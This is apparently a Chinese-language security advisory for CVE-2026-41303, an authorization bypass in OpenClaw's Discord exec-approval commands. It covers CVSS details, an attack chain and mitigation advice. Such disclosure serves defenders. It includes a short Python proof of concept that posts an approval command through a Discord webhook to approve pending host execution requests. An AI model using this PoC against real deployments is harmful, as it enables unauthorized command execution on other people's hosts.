IPBUF安全漏洞报告
English
CVE-2026-41303 CVSS 8.8 高危

CVE-2026-41303 OpenClaw权限绕过漏洞

披露日期: 2026-04-21

漏洞信息

漏洞编号
CVE-2026-41303
漏洞类型
权限绕过
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OpenClaw

相关标签

权限绕过OpenClawDiscord高危

漏洞概述

OpenClaw在2026.3.28之前的版本中存在严重的授权绕过漏洞,问题出在Discord文本审批命令的处理逻辑中。该漏洞允许非审批人员绕过channels.discord.execApprovals.approvers白名单限制,直接解决待执行的主机审批请求。攻击者利用此漏洞可未授权执行敏感操作,对系统机密性、完整性和可用性造成严重影响。

技术细节

该漏洞的根源在于OpenClaw对Discord文本命令的权限校验逻辑存在缺陷。在处理待执行的主机审批请求时,系统未能严格验证发送者是否属于channels.discord.execApprovals.approvers白名单。攻击者只需向Discord接口发送特定的文本命令,即可触发审批通过流程。由于缺乏有效的身份验证机制,系统错误地将来自非授权用户的请求视为合法操作。利用方式非常简单,攻击者无需复杂的交互,只需具备基本的网络访问权限和低级别账户,即可通过构造恶意消息包,绕过现有的安全控制,强制批准原本需要高级权限确认的执行任务,从而完全控制受影响的主机执行流程。

攻击链分析

STEP 1
信息收集
攻击者识别目标Discord服务器中运行的OpenClaw实例,并寻找待审批的exec请求ID。
STEP 2
获取访问权限
攻击者以普通用户身份加入Discord频道,无需管理员或审批员权限。
STEP 3
发送恶意命令
攻击者向Discord发送特定的文本命令(如批准命令),利用漏洞绕过channels.discord.execApprovals.approvers白名单检查。
STEP 4
达成攻击效果
OpenClaw接受命令并批准执行请求,导致攻击者指定的操作在目标主机上被执行,获取系统控制权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # This POC demonstrates how to bypass authorization in OpenClaw # by sending a Discord text command without being an approver. def send_approval_command(webhook_url, exec_id): """ Simulates an attacker sending a command to approve an execution. """ payload = { "content": f"!exec_approve {exec_id}", # The specific command to bypass the check "username": "UnauthorizedUser" } try: response = requests.post(webhook_url, json=payload) if response.status_code == 204: print("[+] Successfully bypassed authorization and approved the execution.") else: print(f"[-] Failed with status code: {response.status_code}") except Exception as e: print(f"[-] Exception occurred: {e}") # Usage example: # hook = "https://discord.com/api/webhooks/..." # send_approval_command(hook, "pending_request_id_123")

影响范围

OpenClaw < 2026.3.28

防御指南

临时缓解措施
若无法立即更新,建议暂时禁用OpenClaw的Discord文本审批功能,或配置Discord机器人忽略非管理员用户的命令,直到完成补丁修复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表